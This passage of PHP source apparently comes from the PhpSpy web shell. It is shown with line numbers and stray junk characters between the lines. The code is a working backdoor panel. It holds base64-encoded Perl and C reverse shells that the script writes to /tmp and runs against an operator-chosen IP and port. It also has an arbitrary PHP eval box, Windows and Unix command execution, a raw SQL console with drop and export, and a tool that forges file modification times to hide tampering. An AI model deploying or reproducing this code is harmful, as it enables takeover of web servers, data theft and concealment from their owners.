887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     5 v- ~, y) T* e5 [* B9 X) N
888.                         makehide('tablename', $tablename);
     6 B) S9 A" g, E/ ~3 I; Z( ^+ X
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
     7 L' L& ?+ s3 t$ B: t" w4 j
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     
895.                                         $rowdb = array();
     
896.                                         while($row = mysql_fetch_array($result)) {
     / F, N3 v/ j' Y0 k; z0 _- K
897.                                                 $rowdb[] = $row;
     
898.                                         }
     ( ]' e+ V9 F/ C
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     3 X3 F) e) t" k& n" J
903.                                         p('<td>Null</td>');
     
904.                                         p('<td>Key</td>');
     8 c+ z0 c) s+ t; \
905.                                         p('<td>Default</td>');
     
906.                                         p('<td>Extra</td>');
     
907.                                         p('</tr>');
     
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
911.                                                 p('<td>'.$row['Field'].'</td>');
     7 p9 v, K+ y, ]  d; q  L
912.                                                 p('<td>'.$row['Type'].'</td>');
     
913.                                                 p('<td>'.$row['Null'].' </td>');
     , w/ n; M9 X/ r' `7 s' U
914.                                                 p('<td>'.$row['Key'].' </td>');
     
915.                                                 p('<td>'.$row['Default'].' </td>');
     2 O- f& x: T# ^) o6 n% Y1 |
916.                                                 p('<td>'.$row['Extra'].' </td>');
     # P9 l2 X# a$ f( F4 I
917.                                                 p('</tr>');
     ( `$ d* x" r' T: I, a+ p
918.                                         }
     
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     # K  u3 Q- N0 u' a) y* U
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     
922.                                         while ($row = mysql_fetch_array($result)) {
     3 k6 K( p6 c& l( [' r- ]6 i9 @
923.                                                 $rowdb[] = $row;
     ( q9 ~* B- G* ]; q+ H0 g4 C
924.                                         }
     
925.                                         $rs = array();
     
926.                                         if ($doing == 'insert') {
     ; U, l, u# Y" f% r6 [$ l4 y. b
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     + r% x; W5 x( b4 l% i* L$ S
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     7 ]! t% w$ ]( c4 m: @/ @: G. [" U
930.                                                 $where = base64_decode($base64);
     6 v# I7 \0 L, h# u  P; A5 Q
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     
932.                                                 $rs = mysql_fetch_array($result);
     $ W% c/ B! a7 u8 I' [4 Q8 ~
933.                                         }
     
934.                                         p('<form method="post" action="'.$self.'">');
     2 G  U' G: I# a  F' c4 c7 n
935.                                         p($dbform);
     ) z) `- v7 E! ~* f3 T4 g; H
936.                                         makehide('action','sqladmin');
     % Z" p. [! V, \& v
937.                                         makehide('tablename',$tablename);
     
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
     
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     
942.                                                 } else {
     ! l# j0 F5 B  T8 j
943.                                                         $value = '';
     
944.                                                 }
     
945.                                                 $thisbg = bg();
     2 A3 ^/ `6 ~2 C% `" P- X7 s
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     & ^# \% @) g- ]: M( F; a8 _
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     ' r7 z4 u! r7 |5 u$ a6 h3 |
948.                                         }
     
949.                                         if ($doing == 'insert') {
     
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     
951.                                         } else {
     * ]! A' P3 P, K1 G' \
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     
953.                                                 makehide('base64', $base64);
     
954.                                         }
     6 C& Q. M% d. V8 ]" q& M7 v# A
955.                                         p('</table></form>');
     
956.                                 } else {
     
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     
959.                                                 if ($query) {
     
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     : y) Z" Z+ K- |) r
961.                                                         switch(qy($query))
     
962.                                                         {
     
963.                                                                 case 0:
     9 S9 z" v" v0 |3 X
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     
965.                                                                         break;       
       i, k- g1 i- |- B2 o5 O  k" x( p
966.                                                                 case 1:
     
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     . B6 k0 |: k9 W" @0 T! R
968.                                                                                 $allowedit = 1;
     
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     - j4 t# C. L# y; B' G
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     + n) L+ n3 O$ I5 p3 u4 H: c3 M
973.                                                                         }
     
974.                                                                         if (!$tablename) {
     
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     0 ^) \3 [! F- p0 w' ~; e" D
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     # ~! {# s$ A( W4 i! ]
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     
978.                                                                                 $tablename = $matches[1][0];
     & y: v' Q' `5 j( v$ _
979.                                                                         }
     
980.                                                                         $result = q($query);
     
981.                                                                         p($multipage);
     $ c; A1 @! L2 s8 [' \
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     8 t! C: y* p8 u
983.                                                                         p('<tr class="head">');
     * g4 `" T8 {# A
984.                                                                         if ($allowedit) p('<td>Action</td>');
     
985.                                                                         $fieldnum = @mysql_num_fields($result);
     8 W4 p2 u6 f5 s
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     4 ~3 f  F8 |/ t# ]. T
987.                                                                                 $name = @mysql_field_name($result, $i);
     7 A2 L9 P; l' M3 p3 C
988.                                                                                 $type = @mysql_field_type($result, $i);
     * `0 o" J+ W. E9 N2 P  L
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     ( I* ~9 p% I) k
991.                                                                         }
     3 c4 L: `0 B* I9 _" }; `4 x
992.                                                                         p('</tr>');
     
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     & I+ O, c, \. a: {2 @$ I6 ?
994.                                                                                 $thisbg = bg();
     " l+ J& ]3 u7 A/ [' w9 n
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     / F7 g& |7 i5 i& h( t
998.                                                                                         if ($inside) {
     8 b& s+ R4 Q; B+ Z$ I
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     
1000.                                                                                                 $tmp = ' AND ';
      3 T$ s! b: N9 Y$ l5 E" A
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      3 f4 I: y2 J# t
1003.                                                                                 }
      
1004.                                                                                 $where = base64_encode($where);
      . |# |9 n- L) r/ M3 p. r% L+ ]3 G  B
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      ) V  `3 o4 I8 M  j
1006.                                                                                 p($b1);
      5 B5 K+ ]6 |% t2 N
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      " U0 t! K4 ~7 i+ w
1009.                                                                         }
      
1010.                                                                         tbfoot();
      9 ~8 v- t& O; F. ?3 m9 }4 Q
1011.                                                                         p($multipage);
      
1012.                                                                         break;       
      
1013.                                                                 case 2:
      & I: L0 |, @7 f6 t
1014.                                                                         $ar = mysql_affected_rows();
      / k( |  f% E& c3 u
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      
1016.                                                                         break;
      
1017.                                                         }
      
1018.                                                 }
      
1019.                                         }
      
1020.                                 }
      
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      3 W$ |  p5 V/ ^
1025.                                 while($table = mysql_fetch_array($query)) {
      
1026.                                         $data_size = $data_size + $table['Data_length'];
      ! ^. L$ ?. T& R' @! q% t% V
1027.                                         $table_rows = $table_rows + $table['Rows'];
      + h! ?3 O7 }5 e8 H* A" {
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      
1030.                                         $tabledb[] = $table;
      
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      & B" }* P' k) L. z; R
1033.                                 unset($table);
      
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      
1036.                                 makehide('action','sqladmin');
      
1037.                                 p($dbform);
      % q& t# n. }1 e
1038.                                 p('<tr class="head">');
      1 V7 A& L+ m1 c/ D/ f$ Z
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      # T, f2 }( P/ K( L
1040.                                 p('<td>Name</td>');
      
1041.                                 p('<td>Rows</td>');
      
1042.                                 p('<td>Data_length</td>');
      1 _& J0 Z+ w5 T  i6 |8 o
1043.                                 p('<td>Create_time</td>');
      
1044.                                 p('<td>Update_time</td>');
      * t% r1 Y+ _, g* g+ q+ V; E
1045.                                 if ($highver) {
      
1046.                                         p('<td>Engine</td>');
      ! @# q# \  O+ J5 L% a& g
1047.                                         p('<td>Collation</td>');
      
1048.                                 }
      
1049.                                 p('</tr>');
      
1050.                                 foreach ($tabledb as $key => $table) {
      5 `5 h  X( A5 N7 @! [
1051.                                         $thisbg = bg();
      * O3 a( o1 d9 c) m# L: c8 A5 ~
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      3 P9 D, T3 K8 A. @" D
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      * P/ Q/ o/ d! a
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      " ~5 |6 `+ a+ o# x
1055.                                         p('<td>'.$table['Rows'].'</td>');
      % q" p2 v& P6 S2 R
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      9 w+ ~2 O, J% ~# s8 Q1 R2 Y
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      ( r$ V" k7 R& z' l% ?
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      
1063.                                         p('</tr>');
      " d$ J/ T5 @+ J' ~' Q& f6 P& i
1064.                                 }
      
1065.                                 p('<tr class='.bg().'>');
      9 J# ^* P$ ?" y1 H% [* v% p
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      4 a) v) N. Y$ r9 O/ ]& o
1068.                                 p('<td>'.$table_rows.'</td>');
      ' u) y: k7 C' O% ^8 ^
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      ! ]# |8 r; w% c
1071.                                 p('</tr>');
      
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      
1073.                                 makehide('doing','backupmysql');
      
1074.                                 formfoot();
      - \4 z( B) T  H8 N, h2 Z
1075.                                 p("</table>");
      
1076.                                 fr($query);
      4 o) O1 Q/ Z3 P' \9 Y
1077.                         }
      
1078.                 }
      6 b# z0 s; k' _* R% `# m: a
1079.         }
      7 \8 s, K) j! a3 M
1080.         tbfoot();
      2 n7 R" y# l/ |4 Q* Z2 f
1081.         @mysql_close();
      . M( C# s, Y/ q$ |
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      3 g0 K* E3 n! |# \
1085.         !$yourport && $yourport = '12345';
      - n$ T8 \- e2 P0 t* x
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      - c: N, M; N: n' [0 P1 B/ W; `* l
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      1 Q; l5 A4 k- V8 ~/ d
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      $ {& Z& y5 F2 a( y0 Q7 a* t2 A
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      $ {" _, P3 [+ G5 T
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      ; ]0 @& I+ |, b% K5 Q
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      " }+ Q: @3 v# i- I, E# p1 W7 D& M+ s
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
        Q5 G, k3 E, R) \  e" b5 Y
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      1 p# W! f& o8 }7 d' a2 ?
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      8 s$ d$ a) l, n1 i4 y5 o3 W
1102.         if ($start && $yourip && $yourport && $use){
      
1103.                 if ($use == 'perl') {
      
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      
1111.                 }
      * y" f- F  U9 ?7 I! K- H" Q
1112.                 m("Now script try connect to $yourip port $yourport ...");
        g! M' }, \- d1 j) P. |) e0 Q
1113.         }
      7 z, `4 P) V8 W  g" q
1114.         formhead(array('title'=>'Back Connect'));
      
1115.         makehide('action','backconnect');
      
1116.         p('<p>');
      . F8 ~" Z) D% _/ z) A9 U7 r6 X+ D
1117.         p('Your IP:');
      
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      
1119.         p('Your Port:');
      
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      ) K% Z" e; _, D5 X
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      9 {$ B8 R; d+ A/ Z3 F- W, b5 {# I9 L  v
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      
1124.         p('</p>');
      
1125.         formfoot();
      
1126. }//end sql backup
      . ~) j7 z9 K- i
1127. elseif ($action == 'eval') {
      : h9 r/ \' h+ [0 }
1128.         $phpcode = trim($phpcode);
      
1129.         if($phpcode){
      
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      1 e1 a. W! c( W3 U2 W
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      
1134.         }
      
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      1 ^8 A; [: U+ I9 d, _7 ~
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      2 u3 ?7 A* i+ {) X9 c& [
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      
1139.         formfooter();
      % Y) w4 `0 P5 A
1140. }//end eval
      
1141. 
      9 g& P  b) e& V! {
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      + F/ k! \( W. ~
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
      3 _4 P) B, `+ Y9 T* v& s
1146.                 @fclose($fp);
      4 O1 A* [* \5 O2 u; {; \3 D! O+ i# N
1147.                 $contents=htmlspecialchars($contents);
      
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      * Q* ]$ T" L7 p- o
1150.         makehide('action','file');
      
1151.         makehide('dir',$nowpath);
      6 v% T1 R( t+ I6 ~3 a! t0 B; @
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      0 y, _, \* [) j9 x
1154.         formfooter();
      
1155. }//end editfile
      2 h; p1 h+ H  ?5 z6 U
1156. 
      
1157. elseif ($action == 'newtime') {
      . @5 f1 b7 s- r7 [$ Z+ G6 y
1158.         $opfilemtime = @filemtime($opfile);
      
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      
1161.         formhead(array('title'=>'Clone file was last modified time'));
      1 l' s: m+ x* F  f' I# g& w! Z! S2 I
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      5 y9 B% o# W4 F
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      # T! A8 k+ n& b8 {* W3 N
1166.         formfooter();
      
1167.         formhead(array('title'=>'Set last modified'));
      
1168.         makehide('action','file');
      , z2 K  U" w) Z
1169.         makehide('dir',$nowpath);
      % V8 p' _+ W3 x1 G, y
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      9 ~, C) N5 _1 i+ R! b
1171.         p('<p>Instead »');
      
1172.         p('year:');
      8 n& J6 @+ Z1 l- \7 N
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      1 P2 n% ]4 K0 J, O
1174.         p('month:');
      & C7 y2 Z; V% x8 [# O
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      
1176.         p('day:');
      9 c. G1 A: Z& n+ |% W2 T* C0 }; t
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      * W# H& I4 n; `7 n) Q
1178.         p('hour:');
      : q/ }2 W, _& x& v8 Q. }& B" N6 P
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      & C9 [8 ]# D. |& g8 ~9 Q
1180.         p('minute:');
      & F& f1 O" U' c, E$ _
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      % n+ d8 C7 D+ M, C' R7 y( ~5 s
1182.         p('second:');
      
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      
1184.         p('</p>');
      ( |4 {0 B7 V5 s, e% s
1185.         formfooter();
      
1186. }//end newtime
      ) ~& R. o) G4 Q4 q
1187. 
      
1188. elseif ($action == 'shell') {
      
1189.         if (IS_WIN && IS_COM) {
      
1190.                 if($program && $parameter) {
      
1191.                         $shell= new COM('Shell.Application');
      
1192.                         $a = $shell->ShellExecute($program,$parameter);
      # e  o  |% j% b  W! e7 _: K
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      
1194.                 }
      7 Q( w- W3 s$ d: C* i0 U, X6 K0 ~+ @
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      5 x' X) Y( O" Q9 c4 ]; P
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      / U$ k) C4 J* y8 f3 \
1197.                 formhead(array('title'=>'Execute Program'));
      
1198.                 makehide('action','shell');
      
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      
1200.                 p('<p>');
      8 @7 t- r% T) e9 M% A) d: k
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      * `, I5 D5 V0 J, `1 f
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      % r2 s2 t2 O' z
1203.                 p('</p>');
      ' j7 p/ [  p% t, \4 H. O9 Y* Q
1204.                 formfoot();
      
1205.         }
      
1206.         formhead(array('title'=>'Execute Command'));
      , `2 `  }. {9 m3 Q+ B$ I
1207.         makehide('action','shell');
      1 c0 d  `. A; o8 Y# o, Z( T
1208.         if (IS_WIN && IS_COM) {
      % `" f7 x8 V7 U. |( m1 ~% I1 L
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      # Z* o# @/ [& g1 Y# Y: y
1211.         }
      
1212.         p('<p>');
      3 u$ V: E  Z- }3 K5 ?/ N  o
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      : L+ a1 \) `5 {
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1215.         p('</p>');
      
1216.         formfoot();
      & n2 R7 ~' m) A6 A
1217. 
      
1218.         if ($command) {
      4 a$ {2 D, g! ^, m. N7 q
1219.                 p('<hr width="100%" noshade /><pre>');
      * j# {; {3 p2 e3 C" J
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      4 f+ t1 E: o4 ^8 K$ _$ E2 U
1221.                         $wsh = new COM('WScript.shell');
      " c+ r' B$ t; ~8 ?& P
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      
1223.                         $stdout = $exec->StdOut();
      0 v+ s* v. |3 Q# ^7 m% L$ J# [/ e; p
1224.                         $stroutput = $stdout->ReadAll();
      
1225.                         echo $stroutput;
      
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      
1227.                         $descriptorspec = array(
      + }9 f6 Q3 l/ T; f, `; M/ ]: \
1228.                            0 => array('pipe', 'r'),
      8 F' [: {& M8 W
1229.                            1 => array('pipe', 'w'),
      
1230.                            2 => array('pipe', 'w')
      2 t% p" l- A4 Y1 w$ C
1231.                         );
      
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      7 f, Z( G3 u- ]- [* C
1233.                         if (is_resource($process)) {
      ( Y2 ?* R: k6 C- X$ h4 M, U
1234.                                 fwrite($pipes[0], $command."\r\n");
      3 V5 K" D1 a8 L0 a
1235.                                 fwrite($pipes[0], "exit\r\n");
      5 f. r1 e$ `( s) r; I2 k! R2 d
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      
1238.                                         echo fgets($pipes[1], 1024);
      * @8 S# a; u# _$ ^
1239.                                 }
      
1240.                                 fclose($pipes[1]);
      , R3 I; v: |0 j& T
1241.                                 while (!feof($pipes[2])) {
      8 Y" i- x1 ?, j0 i: D2 [
1242.                                         echo fgets($pipes[2], 1024);
      7 K+ l7 c1 [# `
1243.                                 }
      3 n) n2 [2 _6 R- b- S
1244.                                 fclose($pipes[2]);
      6 e! C8 r  `5 }; _3 C
1245.                                 proc_close($process);
      
1246.                         }
      
1247.                 } else {
      0 d/ @& T4 j; ~
1248.                         echo(execute($command));
      " ~# Q: G% f  }' m& j# j
1249.                 }
      
1250.                 p('</pre>');
      % L7 x/ u' B. Y$ F, W
1251.         }
      ; \' H3 ?5 T' z" z+ Z0 v7 q
1252. }//end shell
      
1253. 
      
1254. elseif ($action == 'phpenv') {
      
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      + ?/ I7 O2 ~1 @+ H8 Q/ `2 d& j1 H7 f
1257.         !$dis_func && $dis_func = 'No';       
      
1258.         $info = array(
      ' c* g! @- ^3 a  E& C/ ^0 u  [
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      0 l* K8 [6 S1 f& c" F) m
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      ) O# a3 R) |/ ?+ y
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      ; p9 o- f4 v3 v$ x; M
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      & U8 s; N! L! N& N7 S9 p
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      
1267.                 9 => array('The file path',__FILE__),
      
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      
1272.                 13 => array('Administrator',$adminmail),
      
